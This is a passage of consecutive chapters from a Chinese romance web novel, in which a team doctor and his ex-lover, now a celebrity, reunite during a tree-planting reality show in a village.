季杭碰了碰颈间的素戒，心绪纷乱，意识不知道该落在什么地方。
手机突然震动，是曹书望。
“怎么样，一切都好吗？”电话里曹书望问。
季杭声音尽量轻松：“嗯，没什么事。”
“那……”曹书望试探着问，“有见到不想见到的人吗？”
季杭下意识重复：“不想见到的人……”
寂静的院里也传来一道声音，再次破开季杭刚平稳下来的心神——
“不想见到的人？”
循着声源转头，季杭借着昏黄的院灯看到坐在矮墙上的司云起。
“你怎么、”季杭的话还没说完，司云起扬着声音问：
“季医生，你不想见到的人是谁？”
季杭静默半晌，开口时声音很平静：“你以为呢。”
“总不会是我，”司云起答得很快。
季杭不知道他为什么去而又返，耳边的手机里也传来曹书望的声音。
“你在和谁说话？难道是司云起？！”
“书望，我这边有些事，先挂了。”季杭摁灭手机，抬眼看向司云起。
两个人对视着，一时间谁也没有先开口。
许是太安静了，让季杭觉得时间过得很慢，仿佛每一次眨眼、每一声呼吸都如同隔在他们之间的十年一样冗长。
他又不受控制的想，兴许不久之前的那个拥抱只是梦境，此刻才是他们重逢该有的氛围。
季杭垂在身侧的指尖蜷起，关节被拇指摩挲的发白，他学着自己曾在梦里演练过很多次的样子，一眨不眨地看着司云起，嗓音干涩：“好久不见。”
“季医生，”司云起声音里含着笑意，“没想到会在这里遇到你，好巧。”
指尖微麻。季杭听着司云起毫无芥蒂的声音，心口猛然空了一拍，终于承认，十年真的太长了。
如今的司云起一切如常，仿佛他们只是许久不见的老朋友般寒暄。
只是自己心口不一。
想着司云起最好彻底忘记自己，可又妄想通过某些微不足道的小事情窥见司云起依旧对自己有情。
何必呢。
他们十年前没有可能，十年后的今天，更没有选择。
他没有更多的时间去消化情绪，只能也装的洒脱，抬眼注视着司云起，说话时声音却一点也自然不了：“你……攀到房檐是打算做什么？”
“季医生，”司云起手指着下面，答非所问：“好高哦，你能不能在下面接我一下。”
季杭不动，“你上去的时候不怕高么。”
司云
7. 脱敏
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“不行。”季杭说。
“你很健康，不用多想。太晚了，你该回了。”季杭又说。
司云起朝屋内看了一眼，继续争取：“你这里还有一间空房，不会觉得太安静吗？”
季杭：“不会。”
司云起：“那你自己住，会害怕吗？”
季杭：“不会。”
“那……”
“司云起，”叫出这个名字的同时喉间忽然哽住，季杭用力摩挲着手指关节，吞咽一口虚无。
将那股难言的酸涩压制下去，他装出一副很不理解的样子：“我们确实是很久没见，但普通朋友十年间即便再陌生也会有些联系。而我们，连普通朋友都算不上。”
“所以呢，”司云起问，“季医生是想和刚才一样，在所有人面前都装作我们不认识吗？”
“不是装作，”季杭忽然庆幸这是在晚上，他们看不到彼此眸中的情绪，自己只需要伪装声音就好了。他停顿片刻，继续说：“没必要装，已经十年了，我们早就是陌生人了。”
十年。
认识才一年，分开都十年。
他们早就该是这汹涌人潮中的陌路人了。
司云起似乎对季杭最后说的这几句话很赞同，他点点头，说：“是。”
这是他们之间的最后一道声音，等到司云起从这里离开之后，季杭浑身绷紧的力气才松懈。
曹书望的电话又不合时宜地打过来，季杭接通后，对面着急的声音响起：“没事吧？他去找你干嘛？不会是找你麻烦吧？你们可别出点什么事儿啊！喂？喂？你说话啊……”
在曹书望催促的声音里，季杭回答他：“没发生什么事情。以后我和他……也不会再有什么了。”
——
隔天早上。
季杭并没有出门，因为临睡觉前他看到群里的消息，小悠说第二天早上会有拍摄。
季杭不清楚他们的拍摄地点，也不太想和司云起再打照面。
他无聊的在院子里转圈，转到不知道多少圈的时候，曹书望的消息又发过来了：
【现在这样也挺好的，你就把他当陌生人好了。】
季杭看了眼，聊天页面里都是曹书望的长条消息，从昨晚开始就劝他放下。
他每句话都回了，每条回复都是“好”。
曹书望也能看出来他的回答很牵强，所以发完这句话，又打了视频过来。
本意是想看看季杭的状态，没想到——
他刚看到季杭的脸，下一秒就听到了司云起的声音——
“季医生，吃早饭。”
？？？
要不是看着季杭的表情也很懵懂无措，曹书望真的怀疑这一夜司云起是不是压根就没走，和季杭一张床睡的。
季杭下意识看向司云起身后，确定只有他一个人。
“我们拍摄完了，听小悠说你没有去吃饭，所以我给你带了过来。”司云起边说边走到屋内，放下早餐后对季杭说：“来吃饭。”
季杭快步前去将房门关上，因为动作幅度大而匆忙，手机没攥紧滑落，磕在门槛上，掉在了外面。季杭心里乱的连捡手机的意识都没有，门砰的一声闭合，他转身看向司云起。
默了一瞬，他装的冷漠：“我以为昨晚我们已经说清楚了。”
司云起“嗯”了一声，说：“对。”
季杭不解：“那你现在来是……”
“没必要装作陌生人，”司云起说，“这不是你的原话么。”
季杭：“我后面还有话。”
司云起：“是吗。昨晚风太大了，我没听到。”
睁着眼说瞎话，昨晚那点儿风还没他俩拥抱时衣角摩擦的声音大。
季杭：“……”
司云起自说自话：“季医生，你怎么还不来吃饭？”
季杭吃不下去，他尽力把话说的平静：“司云起，我不想和你一起吃早饭。”
司云起打开早餐袋子的手顿住，可也只是一瞬间，他收回手，表情自然到看不出任何失落。
他就这样好整以暇地看向季杭，说：“季医生，其实我胃不舒服。”
这话题转得太快，季杭蹙眉看了司云起几秒才反应过来，这人来送早餐大概是个借口，实际上是来找自己看病，但碍于昨晚僵硬的氛围，所以想送个早餐缓和一下。
季杭问：“吃错东西了么，还是……胃病？”
司云起说：“我没有胃病，应该是昨晚牛奶喝太多了。”
季杭：“？”
太多？
牛奶这东西，太多能有多多？
司云起看上去不像是很难受的样子，季杭没让他吃药，说：“先喝些温水，暖暖胃。如果没有缓解再吃药吧。”
刚说完话，身后传来敲门声。
敲门后又有道声音：“诶？这怎么有个手机？”
是李达。
“我去，这哥们谁？”李达捡起手机被吓一跳。
曹书望的声音很是疲惫：“麻烦把我交给季医生，谢谢。”
原来是季医生的手机，李达小心拿着，敲敲门说：“季医生——老板——你们在吗？方便开个门吗？不方便我就再等等——”
什么方便不方便的，季杭将门打开，拿过自己的手机，对李达说：“你给他准备温水和玻璃瓶灌上热水暖暖胃吧。”
“我真服了。”手机里曹书望顶着一层灰的屏幕说。
季杭退到门侧，抬手擦了下屏幕上的土。司云起也抬脚离开。
曹书望以为那位老板和助理都走了，大声埋怨：“季杭我服了，我真服了！不是，都过去这么多年了怎么还能旧事重演啊？这是你俩第二次把我关在门外面！我真服死了！”
闻言，季杭余光瞥见正在跨出门槛的长腿动作一缓。
当终于全部跨出时，他听到司云起说：“季医生，吃早饭前记得洗手。”
曹书望缓缓皱起眉：？这句洗手，也莫名其妙的熟悉……
意识到司云起那厮还没彻底走，曹书望等了足足两分钟才问：“季杭你们到底怎么回事！”
而季杭也在原地又僵立两分钟，听到他的话，虚抬了下手机，说：“其实我也……不太清楚。”
他不清楚司云起的所有行为都是为什么，想了很久也只能告诉自己——
司云起只是把自己当成久别重逢的老朋友般叙旧，因为曾经的爱或怨都随时间浅淡，再相见也没有陌生敌对的必要。
爱和恨都有根源，都能在一个人心里长久。只有放下才会不在意，才能够平静地寒暄相处。
季杭想着自己见到司云起后一次次的心跳加速目光躲闪呆滞颤抖，再看司云起的气定神闲坦然大方。
不得不承认，司云起是真的已经对自己没有爱也没有怨了，是真的把自己当成普通朋友一样对待了。
想明白后的季杭坐在木桌前，吃了一顿冷掉的早餐。
白天的时间里他强迫自己不去想司云起，从行李中拿出带来的书籍和打印出来的论文，看了一上午。
随队医生大部分时间都会很清闲，说是保障嘉宾和工作人员安全，实际上哪有人会天天受伤。
但季杭也不敢趁着嘉宾们拍摄的时间去到处逛，担心有突然情况结果工作人员找不到自己。
所以他一天中见到了司云起三次——
早、中、晚、
三次。
……
中午。
司云起过来，说自己肩膀不舒服。
季杭问他没有收到韦流竹
8. 山楂树
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“啧，司老师这身体素质，啧啧。”韦流竹看着司云起铁锹挖坑时弯腰的背脊和勃.起的臂膀，感叹道。
邓承玩笑道：“加把劲，咱也追上去。”
韦流竹扶着刚载好的树，另一只手给自己扇风，重重吐了口气：“我不，人活着最重要的是活着。”他说完侧头看了看自己的跟拍大哥，问：“你说对不。”
跟拍大哥晃晃镜头，回应他：“说得对！”
栽树要配合，尤其是已经有些重量的树苗，挖坑栽种填土一个人不能完成。
栽之前做了个游戏，按照游戏结果分组。艾宣、司云起和潘同是一组，邓承和韦流竹是一组。
一列200棵，定下的任务是艾宣组和韦流竹组各一列。经过前些天的腰酸背痛，他们已经进展到最后了。
很好。
韦流竹组已经被艾宣组落下半列了。
“以现在的进度，”邓承特别认真地说，"我们会落后他们一大截。"
韦流竹以为他要说点什么有用的，还竖起耳朵，结果浪费人生中的几秒钟：“……邓哥，我可真是听君一席话，如听一席话。”
邓承突然小声，说：“晚饭的时候估计他们就栽完了，到时候喊潘同来帮忙。”
韦流竹：“潘哥也很累……”
邓承：“那我们自己继续吧。”
韦流竹也很小声：“他可能不想来帮我们，不如我们把他骗过来吧。”
邓承思索两秒：“可以。”
晚饭——
潘同连啃了三个大白馒头，邓承坐到他身边，说：“你们还剩多少啊？”
潘同摇摇头。
艾宣算了算，说：“三十棵左右吧。邓哥，你们呢。”
邓承：“我们也差不多，这一晚上肯定能栽完。”
“我和潘同都认识十多年了，头一次见他这么累，”邓承抽了张纸说道。
司云起：“咱们认识也有几年了，我头一次见你这么关心他。”
“哪里的话，”邓承贴心地把纸巾往潘同脸上贴了贴，“看这汗流的……”
潘同一抖，默默嚼着馒头远离他，“我结婚了。”
邓承：“……我倒也没那个意思……”
司云起道破真相：“小心你的眼镜，摘了你看不清东西，他把你带走帮他们栽树你都分不清到底是哪列。”
邓承手顿住。
潘同牢牢抓住眼镜。
韦流竹见事情败露，立刻和邓承撇清关系：“邓哥！你怎么能这样！我们慢点就慢点，怎么能骗潘哥呢！他本来就很好骗了哈哈哈哈哈哈你还骗他！太过分了！”
艾宣：“……邓哥你真贼。”
潘同：“我不可能上当的。”
邓承挽尊：“我也没那个意思，咱们是好兄弟，我就是想给你擦擦汗。”
韦流竹：“张飞会给关羽这样擦汗吗！”
邓承把纸巾团吧团吧扔向韦流竹：“你到底哪边的？”
韦流竹：“如果可以的话，当然是很想加入艾宣这边啦～”
艾宣摆手：“要不起。”
亏得是节目组准备了足够长的水管，不然还得一桶一桶提水。前面还好些，种到后排提水真的会崩溃。
吃完饭后迅速回到园区，韦流竹刚还在感慨这水管的用处大，几分钟后，他们这一段水管爆开了。
从正中央的位置，可能是本身就有个小划痕，这几天又天天在地上划，被石头或者尖锐的东西磨来磨去，终于在此刻爆开了。
水管里的水都从爆开的地方喷涌而出，到不了他们正在栽的位置。
艾宣见状，询问自己队另外两人的意见：“云起哥，潘哥，我们也快栽完了，要不把水管给他们吧？”
两个人都同意了。
潘同把这边的水管给他们送过去时，邓承激动地一把捧住他的脸。
韦流竹惊恐：“潘哥他结婚了！”
潘同：“你手上都是泥！”
邓承：“我没想亲你！”
潘同嫌弃地拍开他的手，回到自己的队伍里。
这次多加了一项环节，他们分配了一下，由司云起去断掉的水管那接水提过去，艾宣和潘同挖坑种树。
没成想韦流竹和邓承他们这根水管就是个脆皮，接了两桶后，水管从头端接口处炸开了。
？
这下好了。
园区建设还不太完善，水井只有园区口才有。司云起需要提着水桶从头走到尾。
节目组问：“司老师，你想把你们这边的水管要回来吗？”
司云起放下空的水桶，说：“我去借个扁担。”
没多会儿，他回来了。
手里拿着扁担，还有……
肩上这是什么？拖着一颗老树？
“司老师，你这扛的也不是梨树啊？”节目组说。
司云起放下树去接水，呼吸有点重，但说话时并不明显：“捡了棵山楂树，能栽么。”
“导演，能栽吗，”小悠小声问。
乔炎：“有空地的话随你。”
司云起接上水，挑着扁担走了。
他来回折返40多趟，肩膀处的衣服都磨破了，没在镜头前露面，迅速换了件衣服。
等到这边终于栽好后，韦流竹那边也不剩多少了。他们过去帮忙，一齐将剩下的栽完了。
3000棵树苗的枝丫轻轻晃动，他们也顾不上形象，躺在尽头的空地上。
艾宣看着天上的月亮，说：“种下这么大片的树，真的好有成就感。”
潘同：“几年后我带着女儿来这里旅游，告诉她，这里的树是爸爸栽种的，她肯定会很骄傲。”
韦流竹说：“是啊，以后我也会常常回来看。”
邓承提议道：“咱们来拍张照吧。”
他们站在梨树前面，背后一眼看不到头。树枝交错，汗水沾湿头发，脸侧还有些泥。就这样拍下了一张照片。
拍完照片后司云起就不见了，他们也找不到人，又在原地聊了会儿天就散去了。
而当时的司云起，在这片园区的东南角找到一块空地。
他把山楂树栽在了这里。
——
半夜十二点，狂风呼啸。
窗户被风拍打的很重，很多东西在晃。
睡前悬在空中的月亮消失不见，屋外一片漆黑，风的咆哮声愈发狂暴。
季杭想看一眼时间，正巧看到静音的手机群聊里弹出来一条消息：
【韦流竹：好大的风呀，咱们明天是不是要补救一下那些树呀？】
季杭正要退出，突然看到群聊里一条新的消息：
【李达：各位老师们，我老板在你们那嘛？他怎么还没回来呢！】
【乔炎：我们两个谈事情来着，十分钟前他已经走了。】
【李达：那我等等吧。】
季杭蹙眉，看着时间一分一分过去。
又是十分钟，李达没有在群里说司云起回去的事情。
外面狂风呼啸，季杭认为这么短的路司云起不可能走20分钟还不到，正要打开李达小窗询问时，李达在群里说：
【还是没回来呀！我出去找找吧！】
忽的一道闪电划破夜空。
回过神时，季杭已经站在门口了，手里拿着一把没拆的雨伞。
风吹来的力度太重，重到他愣了两秒，攥紧了手里的雨伞
9. 抹黑
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第一期录制进尾声，司云起发现除了自己天天跑去找季杭，韦流竹也是。
他掠过一间间房子，找到导演乔炎的住处。
进门后直话直说：“你非得邀请来的嘉宾，韦流竹，他为什么总是去找季杭？”
乔炎放下脚本，“找医生能是为什么？”
司云起无语片刻，语气梆硬：“他比我去的还频繁。”
乔炎补刀：“季医生对他比对你还上心。”
司云起不大满意他的话，找了个椅子坐下，说：“我毕竟是没病，他这疼那疼的，季医生看起来对他关注些很正常。”
乔炎笑道：“你这不知道流竹为什么去找季医生么。”
司云起懒得再多说，刚坐下又站起来准备去找季医生，撂下一句：“其实我是怕你不知道。”
乔炎：“……”
司云起：“你不是也想追么，不上点心怎么追得上。”
乔炎一想，确实有道理。
于是他跟上司云起的步伐，一起去了季医生那儿。
刚走到门口还没进门，两个人同时顿住脚步。
原因无他，只因为从大敞的门内传出来韦流竹的一声“季医生我好喜欢你啊”。
司云起面色不虞：瞎喜欢什么！
乔炎好奇心大起：因为什么喜欢！
而院子里韦流竹搬着个小凳坐在季医生旁边，看着自己手机备忘录刚记下的一些腰伤注意事项，非常感谢季医生。
季杭语气淡淡，和他形成鲜明对比，“不用谢。但是你有腰伤还是告诉节目组一声比较好，免得加重。”
“没关系的，”韦流竹说，“拍摄的时候大家已经很照顾我了，要是再说了这个，以后他们估计就一点活儿也不让我干了，那我来参加这综艺干嘛。”
季杭没接话。
韦流竹和几个嘉宾都熟了，但拍摄之外和三个哥没有共同语言，和小妹艾宣又不能走的太近免得被有心人造谣。平日里他的助理只管着他，很少和他交流。
韦流竹觉得季医生人虽然冷淡点，但人特别好，就什么都愿意和他说，没得到回应也不减热情。
“我们拍摄的时候特别有意思，季医生你可以常去看看的。”
季杭终于问道：“怎么个有意思呢？”
韦流竹边回忆边讲：
“拍摄第一天我们还没分组呢，导演组给我们安排了一人一条垄道，让我们先挖树坑。这个前提是先完成游戏才可以去挖坑。潘哥真的贡献了很多笑点，他游戏通关最晚，我们都挖一上午了，他还卡在游戏那来回折返。”
“然后他不服气，想着半夜不录制的时候赶超我们，自己拿着铁锹就去刨地了。然后他看错区域，累了一个晚上，把司老师那块地挖完了！”
“早上我们再去的时候，司老师对着他那区域沉默，半天憋出来一句——季医生你猜是什么！”
季杭摇头，说：“我猜不到。”
韦流竹站起来，模仿当天司云起的站姿和表情，清了清嗓子，说：“嗯？半夜来了头牛？”
“噗哈哈哈哈哈哈哈哈哈哈，”韦流竹又坐回去，“我当时笑的腰疼了，潘哥去的最晚，得知真相的他那一刻真的好无助哈哈哈哈。”
“还有还有，”韦流竹继续讲，“我一直觉得邓哥是那种沉稳的大哥类型，可他不是！后来我们分了组，司老师艾宣和潘哥一组，我和邓哥一组。节目组给了我们一个限制词，不许说‘累’。到最后导演组问我们累不累，邓哥把铁锹戳土里，靠着说‘田系去一撇死了’。”
“然后哈哈哈哈哈哈哈哈，然后潘哥问，田系去一撇是谁哈哈哈哈哈哈哈哈哈哈……”
韦流竹喋喋不休，揩去眼角笑出来的泪，“季医生，是不是很有意思。下次你还是直接去看，我讲出来不如在现场看到有意思。”
季杭“嗯”了声搭腔，虽然他不会去。
韦流竹突然想起来，立刻说道：“季医生，明天咱们就走了诶！”
算起来也在这里待了一周，似乎是因为司云起出现太频繁，时常让季杭觉得时间忽快忽慢。
“不过没关系，下周我们就又见啦！”韦流竹很高兴，“今晚上村子里有晚会，季医生你也去吧，会很热闹的！”
季杭：“不了，我不喜欢热闹。”
韦流竹明显有些失落：“那好吧，如果有好玩的事情我再来给你讲！”
这边话音刚落，那边导演的手机就响起来了——
铃声还是韦流竹他们组合的出道曲，片段正好是韦流竹的cut。
“嗯？”即便那铃声刹然而止，韦流竹还是听出来了，他循声而动，边往门口走边自言自语：“我看看是谁这么有眼——”
季杭没听到他这句话的最后一个字，过了几秒，韦流竹三分震惊七分惊喜地喊道：“司老师？导演？”
乔炎挂断了电话又迅速调成静音，所以韦流竹出来那一刻，他并不知道自己的歌曲出自面前的哪一位。
不过哪一位都足够他惊喜了，韦流竹问：“你们散步到这里了嘛。”
司云起的目光掠过他，一眨不眨地看向那扇敞开的门。
乔炎转头看了他一眼，轻咳一声，“流竹，你跟我去拍个中插广告。”
韦流竹：“好嘞！”
跟乔炎走了几步，他转头冲那扇门那喊道：“季医生，我先去拍广告啦！”
等他们走后，司云起站在原地，季杭站在院子里。
位置造成的视角差让他们不能看到对方。
所以季杭以为司云起已经离开了，司云起以为季杭并不想见他。
远风绕着这里的一草一木周旋，传到耳边的声音扑扑簌簌。
他们无声地与自己较劲很久，才终于一个转身走向屋内，另一个转身离开。
到了晚上，嘉宾们都参加了村子里的晚会。
那3000棵树都被好好地栽在园区，等来年，那大片的树会更加繁茂，绿叶成荫。
再等一年，春季伊始，风一吹，漫天梨花随着摇曳，会给这本就足够美的地方增添一抹色彩。
晚上拍摄的素材已经够了，嘉宾们有一搭没一搭的聊着天。司云起问自己身旁的阿姨：“阿姨，咱们这定情信物是什么？”
阿姨：“定情信物？”说着笑了两声，问：“小伙子，你不会是看上我们哪家姑娘了吧。”
司云起声音放的很低，说：“没有，只是好奇。”
“我们这有个传统，”阿姨见他说话声音小，自己的声音也降低了些。
半分钟后，司云起若有所思。
晚会结束的时候，司云起离开了一会儿，回来的时候双手裹着黑色的塑料袋。
正打算去找季杭时，却看到季杭正朝这边走来。
司云起快步朝他走去，在很昏暗的灯光下，他站定。
季杭还没说话，司云起的手从塑料袋里出来，飞快地在他脸上摸了一下。
季杭：“？”
这是耳光吗？但是一点也不疼……
还没反应过来，司云起另一只手也出来，摸在季杭的另一边脸上。
季杭：“？？”
不远处的小悠看向这边，喊道：“季医生，快来拍照啊！”
司云起：“？”
拍照？
小悠在安排幕后工作者们的站位，叫季杭来就是合照留念的。
季杭被司云起摸了两下，垂眼时看到司云起两只黑黢黢的手，不可置信道：“你在我脸上蹭灰？”
“不是……”司云起有口难辩，旁边小悠已经到身边了。
“季医生！你的脸！”离得远时小悠还以为是自己眼睛出了问题，走近了才看清——
10. 祝福
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这条微博很快就集了很多赞和评论，高高的位于广场首页。
里面的评论五花八门。
【？粉丝装路人吧？这都能编出来？】
【哒姐别演了，你演的好尴尬……】
【评论区有些人别太癫，人家只是说了她的家乡而已啊。】
【[图片.JPG]中国五十六个民族各有特色，这是刚从百度上搜来的，我就在这儿，等着你们道歉。】
季杭点开图片，这是一个传统节日的介绍。
其中有一句。
“被抹得越黑代表情意越深，吉祥和幸福就越会降临在他身上”
……
季杭的心口忽然被一把生锈的钝刀贯穿了。
他想起当时司云起被自己打断的解释，莫名有些庆幸。
庆幸当时小悠过去了，庆幸司云起没能解释。
可人真是别扭又矫情的存在。
他在去往一户村民家的路上却不可自控地想，如果当时司云起有时间说出口，他会说什么呢。
说……
“季医生，我希望你幸福、健康、永远都有好福气。”
会是这样的话吗。
那倘若自己听到了，又该怎么办呢。
团队里的大多人还在原地收设备，季杭过去的时候看到有游客在和嘉宾们拍照。
司云起也在其中。
季杭站得远远的没过去，等了十几分钟，看到嘉宾们和游客挥手再见。
他顶着脸上没擦的黑走过去，喊了声韦流竹的名字。
韦流竹回头，脸猝不及防被摸了一下。
“哎呦季医生你这是……”韦流竹话还没说完，季医生就已经走到了邓承面前。
随后邓承脸上一抺黑。
韦流竹：“？”
邓承：“？”
鉴于他们拍完照之后一直在原地配合游客和偶遇的粉丝拍照，并不知道刚刚网络上发酵的事情，对这个“抹黑”更是懵。
潘同看到季医生两只手黑黢黢的，本能的绷紧站直了，问：“季医生这是什么防虫驱蚊的药吗？”
季医生利落地在他脸上抹下一道，说：“不是。”
艾宣站在旁边，虽然她有足够的时间躲开，但她没动位置。季医生轻轻的在她额角蹭了一下，声音也很轻：“这在当地代表祝福，可以洗下来的。”
艾宣看着季医生脸上又厚又深的一层黑，反应了几秒，说：“那再给我来点儿。”
最后，季杭站到了司云起身前。
人好像真的可以在一瞬间想很多事情。
季杭抬手的刹那，忽的想到除了这次，他以后很难再有什么机会靠近司云起，再不能当面给他什么祝福。
所以他抹了司云起左半边脸后，又抬手利落的蹭在了司云起右脸、额头、下巴……
他说着“司老师，没办法了，只能在你脸上蹭蹭”的玩笑话，默默祝愿司云起此后的幸福和好运都足够深重。
司云起注视着季杭的眼睛，说：“好。”
“你们藏的真深啊，要不是大妈告诉我，我还不知道这是什么呢，来吧——”邓承不知道从哪里找来一盆锅底黑，糊满双手朝着毫无防备的韦流竹过去。
……
现场乱成一团，团队工作人员和游客也加入这场混战。
乔炎折返回来看到这一幕，让摄影继续拍摄。
司云起的跟拍刚怼到司云起面前，想给他来个“煤炭”特写，却恰好拍到了司云起对那位季医生说：
“季医生，你往我脸上抹了这么多，怎么也不说一句祝我得偿所愿。”
跟拍并没有听到季医生的回答，只是看到镜头里的司云起眸光很亮，在吵闹的环境里专注的看着他面前的人。
跟拍下意识转了下头，捕捉到季医生那双很好看的眼睛里片刻的复杂神色，又在瞬息之间消失不见。
有外人在场，季杭表现的自然。
顿了几秒，他说：“司老师，祝你前路顺利。”
“前路顺利么，”司云起重复了一遍，说：“前路顺利也行。”
直到他们玩累了，坐在地上围成一圈。
游客们和工作人员都散了，留下来的只有几位嘉宾和导演。
眼看着季杭也走来，邓承快步追上去，拽住季杭的胳膊，将他手上残存的最后一点黑也蹭到了人家季医生身上。
“季医生，不着急回去，咱们一起去聊聊天。”邓承说。
季杭抽回自己的胳膊，婉拒道：“不好意思邓老师，我有些累了。”
邓承：“叫我邓哥就行，喊我邓老师显得我们多么生疏。”
季杭：“…我们本来就不太熟。”
邓承：“……也是。但相逢就是有缘，难得咱们见一次。”
季杭：“邓老师，我一直都忘了问你，我们第一次见面那天，你说你比我大两岁。”
邓承：“怎么了？”
季杭：“你一早就知道我的年纪吗？”
“……我进组之前肯定先把要合作的嘉宾都做个了解呀。”
季杭：“我不是嘉宾，也没有百度百科。”
邓承心道你这小子在这里为难我做什么，去为难司云起啊。嘴上说：“我问的小悠，想着可能会和医生打交道，先了解了一下。”
季杭点了点头，看不出信了还是没信。
“邓老师，我先回去了，”季杭转身要走，又被跑过来的韦流竹拽住了。
季杭回过头，心想自己就是想回去看看网络上的舆论有没有逆转，结果自己还走不了了。
“季医生！你快来跟我看呀！”韦流竹边拽他边说，“微博上有粉丝发了路透，你火了！”
季杭抗拒的那股力道瞬间消失：“谁？”
他被拽到圆圈里，和韦流竹挨在一起，另一边是艾宣。
“季医生你看，这条微博的评论和转发。”韦流竹把自己的手机递给他。
季杭双手黑黢黢，不过韦流竹的手机和屏幕也黑黢黢的。
“网络这个东西就是瞬息万变，我看刚还有些人带节奏说司老师霸凌工作人员，这会儿就已经磕上司老师和季医生的cp了。”艾宣边看手机边感慨。
发到微博上的视频不是当时参与进来的游客拍的，拍摄视角要更远一些，没有特意去拍某一个人，所有人都入了镜。
其实只有短短十七秒，奈何那群能磕爱磕的，个个都有八倍镜。
在这十七秒的视频中——
工作人员们追逐嘉宾，参与进来的游客们追逐嘉宾；嘉宾们乱跑，跟拍们跟着乱跑。
再加上他们的脸全都是黑，压根分辨不出来谁是谁。
在这一派热闹中，最左端有岿然不动的三位。
季杭、司云起、司云起的跟拍。
其实并不显眼，他们的位置还是背光，视频里只能看到三个影子。别人乱跑的时候时常挡住他们几秒，然而闪开后他们还在原位置。
于是粉丝和网友们开始了勘探：
【这三个人，一个扛着摄像，是跟拍没跑。被他拍的那个是谁，有姐妹能认出来吗？】
【报告！那是我家起子哥啦~】
【他对面那个呢？虽然画质有点糊，但看这个身量这个气质应该也是明星吧？韦流竹吗？】
【私密马赛谢谢姐妹们的抬爱，但我们家猪猪是五秒到八秒中呲着大白牙傻跑的那个……】
【这综艺嘉宾里还有谁？艾宣？邓承？潘同？】
【抱走我女鹅，我女是长发，是女生！！！】
【也不是我担！虽然我没有看到我家邓哥在哪，但我看到他的跟拍了，他前两天刚在微博发了他的他跟拍的合照，话说跟拍小哥好帅啊啊啊我要跳坑了！】
【我潘哥结婚后稍稍有些幸福肥，这一pa我们
11. 素戒
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季杭忽然想起司云起说胃不舒服的那天早上，他也是说喝了很多牛奶。
“什么？13盒全喝完了？！”潘同不可思议道，“那晚我都要睡了，云起过来问我有没有酒，我说没有，他看到我桌子上摆的牛奶，直接就拿走了！竟然一晚上就喝完了？”
“所以你发生了什么事情喝那么多牛奶？”邓承明知故问道。
司云起声音懒散，没什么情绪，说：“想喝牛奶了而已。”
季杭看了司云起一眼，把手机还给韦流竹，起身准备离开。
猝不及防间听到乔炎的话：
“那晚云起问我有没有酒，我当然没，又告诉他别去饭店，免得被拍。后来我再去找他，看到他一个人坐在台阶上喝牛奶。”
顿了顿，乔炎又说。
“那副模样，倒很像是为情所伤。”
在场不知情者艾宣和韦流竹：为情？？？
这是可以说的吗？
乔炎只说了这句就没再往下说，可刚还有迹象要离开的季医生止了动作，又坐回了原地。
兴许季杭只能从这只言片语中摸到些迹象，在他们的重逢里，司云起并不如表现那般轻松自然——
重逢当晚，司云起给了季杭一个拥抱，后又折返回去为自己讨到一个拥抱，幼稚地来安慰自己。
他面对着季杭的疏离和后退，也并不是毫无感觉。
十年，他自然不是第一次见到季杭。
春夏秋冬来回交替，他偷偷去看过季杭很多次。
见过季杭的次数足够多，他还以为自己已经能做到很自然了。
可真正和季杭相见的那一刻，司云起发现不是的。
不论偷偷见过多少次，当相见时季杭后退的那一步，足以击的他溃不成军。
他向来讨厌不清醒的感觉。可那一刻他却忽然很想大醉，想不省人事，想思绪能够转移。
那牛奶他不想喝，可似乎总得有个情绪的出口，想做点什么。
所以并非故意，几乎是天亮时他才真正注意到身边的十三个牛奶盒子。
半夜乔炎去找他，和他一起坐在台阶上。很久后，他笑了笑，“你这人，在季医生面前装的那么轻松，私下里这是找什么罪受。”
司云起没说话，又打开一盒牛奶。
一阵沉默后。
乔炎忽然开口问道：“云起，你没有害怕过么，这十年里他会不会谈恋爱了，会不会有喜欢的人，会不会…早就把你忘了……”
知晓司云起这一路多么不容易，也知道司云起多么爱季杭，乔炎说最后一句话时也不免觉得残忍。
有风拂过司云起的眼角，他眨了下眼睛。
转头看向乔炎，司云起语气很笃定，告诉他：“他没有忘记我。”
乔炎并未追问他为什么这么肯定，又问：“那你能确定，这十年里他没有喜欢或者忘不了的人么。”
想了想，他试探着补充：“之前你有送过他、戒指、一类的么。”
那个被季杭珍重妥帖地挂在素链上，随身携带的廉价戒指。
乔炎见过，司云起也见过。
司云起阖上眼睛，说：“没有。”
两个字足够他们心照不宣。
又是长久的沉默，不知过了多久，乔炎说：“不管是喜欢还是忘不了的人，他总归是有一个。你怎么办。”
司云起闻言笑了，声音沉定又自然：“他喜欢谁，忘不了谁，或者不喜欢我，都可以。他自由，我爱他，不冲突。”
直到天光破晓，乔炎拍了拍他的肩膀，说：“行吧，那祝你早日追到。”
——
现场气氛有片刻的僵硬，韦流竹咳了两声，玩笑道：“司老师还用为情所伤啊，要是我直接就投入你怀抱了。”
艾宣眼睛从手机上抬起来，恰巧感觉这在场几个人中，起码有三个人脸色不大好看。
季医生，司老师，乔导。
嗯……？怎么了这是。
眼看着现场逐渐朝奇奇怪怪的方向走，邓承想岔开话题，但抛出几句话后也没激起水花。
他杵杵潘同，眼神示意他聊两句。
潘同憋半天才憋出句话：“要不咱们散了吧。”
邓承：“……”
乔炎第一个站起身，“明天回程，大家都早点去休息吧，下周见。”
他们纷纷起身，季杭刻意放慢动作，和最后的司云起并肩走着。
“如果你需要澄清网上的视频，我可以帮忙。”季杭说。
“不用了，这没关系。”司云起转头看向他，“季医生，明天就回去了，你想不想去园区看看那三千棵树。”
季杭的话礼貌疏离：“没兴趣，我们也没什么单独聊天的必要。先走了。”
他说完后快走几步，落下了司云起。
回到住的地方后，季杭收拾好行李，准备出门时接到了季满谦的电话。
“爸，”季杭说，“我明天就回去了，先在医院值两天班，然后我就回去看你。”
“看我做什么，”季满谦怪道，“你好好休息就行了，不用惦记我。”
顿了顿，季满谦主动说：“你去的那个综艺，我这两天在网上看到了。有个人很眼熟，是……”
季杭打断了他的话，“爸，我是随队医生，平时接触不到那些人们，也不关注他们。”
电话那头的季满谦笑了两声，说：“是，哪有人天天受伤生病。我就是看看你这一趟行程怎么样，听着你的声音还不错，那就这样。”
“好。”
挂断后季杭还是去了那片已经成型的园区。
这里的夜风很冷，月光散落，地面一层银白的霜。
梨树大多不高，还没有完全长成，枝丫单薄垂挂，随着风轻轻晃动。
许是因为在夜晚，又平白多了些萧条。
季杭忽然想起，他和司云起的初遇，是个与此刻截然相反的环境。
